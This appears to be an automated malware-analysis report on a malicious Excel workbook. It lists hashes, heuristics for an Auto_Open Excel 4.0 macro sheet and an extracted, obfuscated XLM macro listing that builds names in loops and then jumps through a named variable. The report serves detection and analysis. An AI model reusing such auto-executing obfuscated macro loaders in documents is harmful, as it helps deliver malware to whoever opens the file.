Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 829e4271f3e36040…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:44:05 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: 3fda518a7c7aecab2d75b7ce5cb8bcd0 SHA-1: 7689e50d9a867512cb072ef20ecd1d81a3be95dc SHA-256: 829e4271f3e36040fd0612a0a6a6d175939e2373f5aaa4cadd183b7298e1d8a9
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel macro-enabled document containing Excel 4.0 (XLM) macros. Critical heuristics indicate the presence of an Auto_Open defined name and the use of dangerous formula APIs, specifically 'RUN=0'. This strongly suggests the macro is designed to execute arbitrary commands upon opening, likely to download and execute a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6771 bytes
SHA-256: f2f827575632f5d99ccf43c73bc6caddd5c323883c3d7a2371d0855d654a8dfa
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  KojKo
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G158 
' 0018     22 LABEL : Cell Value, String Constant - bNajWeR len=0 
' 0018     25 LABEL : Cell Value, String Constant - BsJOQvxAQe len=0 
' 0018     26 LABEL : Cell Value, String Constant - EAiXrOkcEqC len=0 
' 0018     24 LABEL : Cell Value, String Constant - FYDpuRkgA len=0 
' 0018     20 LABEL : Cell Value, String Constant - HViyM len=0 
' 0018     21 LABEL : Cell Value, String Constant - kBEzyi len=0 
' 0018     25 LABEL : Cell Value, String Constant - nkAoIgHreG len=0 
' 0018     25 LABEL : Cell Value, String Constant - pPkuTqJHwk len=0 
' 0018     25 LABEL : Cell Value, String Constant - PWKMyNmOam len=0 
' 0018     20 LABEL : Cell Value, String Constant - rNASw len=0 
' 0018     23 LABEL : Cell Value, String Constant - sPyvtMBW len=0 
' 0018     27 LABEL : Cell Value, String Constant - StBZPBOlxdXX len=0 
' 0018     23 LABEL : Cell Value, String Constant - tBtJpCiM len=0 
' 0018     24 LABEL : Cell Value, String Constant - tXedqMyyo len=0 
' 0018     24 LABEL : Cell Value, String Constant - UHGQXsjyp len=0 
' 0018     25 LABEL : Cell Value, String Constant - wcaNAcleRA len=0 
' 0018     26 LABEL : Cell Value, String Constant - WRsxnpPGfAz len=0 
' 0018     21 LABEL : Cell Value, String Constant - XHPknX len=0 
' 0018     25 LABEL : Cell Value, String Constant - yROIHQVfht len=0 
' 0018     25 LABEL : Cell Value, String Constant - yzgAGlotHB len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  KojKo,G67,"SET.NAME("FYDpuRkgA",0+VALUE("0"))",""
'  KojKo,G71,"SET.NAME("tXedqMyyo",FYDpuRkgA)",""
'  KojKo,G74,"SET.NAME("kBEzyi",FYDpuRkgA)",""
'  KojKo,S75,"",-584.00000000000000000000
'  KojKo,S76,"",31.00000000000000000000
'  KojKo,S77,"",-853.00000000000000000000
'  KojKo,G78,"SET.NAME("rNASw",COUNTA(WRsxnpPGfAz))",""
'  KojKo,S78,"",786.00000000000000000000
'  KojKo,S79,"",805.00000000000000000000
'  KojKo,S80,"",587.00000000000000000000
'  KojKo,G82,"SET.NAME("StBZPBOlxdXX",COUNTA(EAiXrOkcEqC))",""
'  KojKo,G87,[],""
'  KojKo,G91,"SET.NAME("BsJOQvxAQe","")",""
'  KojKo,G96,"tXedqMyyo",""
'  KojKo,G100,"SET.NAME("nkAoIgHreG",HLOOKUP("*",WRsxnpPGfAz,tXedqMyyo,FALSE))",""
'  KojKo,G104,"HViyM",""
'  KojKo,G106,"SET.NAME("PWKMyNmOam",FYDpuRkgA)",""
'  KojKo,G109,[],""
'  KojKo,G113,"PWKMyNmOam",""
'  KojKo,G116,"UHGQXsjyp",""
'  KojKo,G120,"XHPknX",""
'  KojKo,G123,"tBtJpCiM",""
'  KojKo,G128,"SET.NAME("yROIHQVfht",VALUE(HLOOKUP("*",EAiXrOkcEqC,tBtJpCiM,FALSE)))",""
'  KojKo,G132,"wcaNAcleRA",""
'  KojKo,G134,"BsJOQvxAQe",""
'  KojKo,G136,"kBEzyi",""
'  KojKo,G139,NEXT(),""
'  KojKo,G142,"bNajWeR",""
'  KojKo,G146,[],""
'  KojKo,G151,"pPkuTqJHwk",""
'  KojKo,G153,NEXT(),""
'  KojKo,G156,RETURN(),""
'  KojKo,G183,"SET.NAME("sPyvtMBW",G67)",""
'  KojKo,G187,"WRsxnpPGfAz",""
'  KojKo,G190,"SET.NAME("EAiXrOkcEqC",R99C13)",""
'  KojKo,G195,"SET.NAME("pPkuTqJHwk",203)",""
'  KojKo,G199,"SET.NAME("yzgAGlotHB",7)",""
'  KojKo,G202,sPyvtMBW(),""
'  KojKo,G203,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.